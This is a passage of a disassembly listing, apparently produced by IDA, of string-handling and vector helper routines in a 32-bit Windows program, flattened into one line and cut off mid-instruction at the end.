locret_409AFB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AFB: ; CODE XREF: sub_409AE0+11j retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B10 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B46 push edi nop call near ptr 2841874h mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B46: ; CODE XREF: sub_409B10+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_401CEEj mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B9F call near ptr 2850000h nop mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B9F: ; CODE XREF: sub_409B80+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BF0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409C08 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C08: ; CODE XREF: ___:00409BFDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C20 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C60 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CA0 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 nop call sub_5F76F7 add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409CA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D2C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2C: ; CODE XREF: sub_409D10+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D3F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D3F: ; CODE XREF: sub_409D10+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D60 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DCA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D8A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D8A: ; CODE XREF: sub_409D60+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0C9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: sub_409D60+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E00 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx nop call sub_5F76F7 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E80 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409F0F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409F0F: ; CODE XREF: sub_409E80+84j mov [ebx+9], ebp loc_409F12: ; CODE XREF: sub_409E80+Cj ; sub_409E80+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F50 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F80 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx call sub_5F76F7 nop add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FE7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409FD0+7j mov eax, [ecx+9] push ebx loc_409FEB: ; CODE XREF: sub_409FD0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A016 test cl, cl jz short loc_40A00F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A016 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FEB loc_40A00F: ; CODE XREF: sub_409FD0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409FD0+23j ; sub_409FD0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A040 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A070 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A083 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_40A070+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_40A070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0B0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0E0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0F3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0F3: ; CODE XREF: sub_40A0E0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A152 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A152: ; CODE XREF: sub_40A110+13j add esp, 2000h retn sub_40A110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A180 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1A0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A1C4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A1A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A210 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A210 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A240 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A240 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A275 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A275: ; CODE XREF: sub_40A260+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A28F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A28F: ; CODE XREF: sub_40A260+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A260 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2D0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2E3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2F6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2D0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A350 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A350 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A370 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3C2 mov esi, [esp+34h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A370+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A370 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A4A0 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A510 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A551 mov esi, [esp+44h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 jmp loc_40A684 ; --------------------------------------------------------------------------- loc_40A551: ; CODE XREF: sub_40A510+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A635 push ebx loc_40A591: ; CODE XREF: sub_40A510+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A5A0 loc_40A597: ; CODE XREF: sub_40A510+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A597 loc_40A5A0: ; CODE XREF: sub_40A510+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A5AF inc eax mov [esp+48h+var_3C], eax loc_40A5AF: ; CODE XREF: sub_40A510+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5FF test cl, cl jz short loc_40A5E7 loc_40A5CB: ; CODE XREF: sub_40A510+D5j cmp cl, 22h jnz short loc_40A5DC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5E7 test cl, cl jz short loc_40A5E7 loc_40A5DC: ; CODE XREF: sub_40A510+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5CB loc_40A5E7: ; CODE XREF: sub_40A510+B9j ; sub_40A510+C6j ... cmp byte ptr [eax], 0 jz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A62A add eax, 2 jmp short loc_40A626 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A510+B5j test cl, cl jz short loc_40A614 mov dl, [edi] loc_40A605: ; CODE XREF: sub_40A510+102j cmp cl, dl jz short loc_40A614 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A605 loc_40A614: ; CODE XREF: sub_40A510+F1j ; sub_40A510+F7j mov cl, [eax] test cl, cl jz short loc_40A62A cmp cl, [edi] jnz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A626: ; CODE XREF: sub_40A510+EDj mov [esp+48h+var_3C], eax loc_40A62A: ; CODE XREF: sub_40A510+DAj ; sub_40A510+E8j ... mov cl, [eax] test cl, cl jnz loc_40A591 pop ebx loc_40A635: ; CODE XREF: sub_40A510+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A64D push offset byte_448F30 jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A64D: ; CODE XREF: sub_40A510+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A65A: ; CODE XREF: sub_40A510+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A684: ; CODE XREF: sub_40A510+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A510 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A710 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A750 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A750 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A780 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A780 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7A0 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A7A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A800 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A820 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A840 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A870 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A870 endp ; --------------------------------------------------------------------------- xor eax, eax loc_40A898: ; DATA XREF: ___:00446534o ; ___:00446578o ... mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8CA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8CA: ; CODE XREF: sub_40A8C0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A908 mov ecx, esi call sub_401F05 loc_40A908: ; CODE XREF: sub_40A8F0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8F0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A930 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A960 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A960 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A980 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A980 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9A0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A9A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA10 loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40AA01 loc_40AA10: ; CODE XREF: sub_40A9F0+Fj pop edi pop esi pop ebx retn 8 sub_40A9F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA30: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call 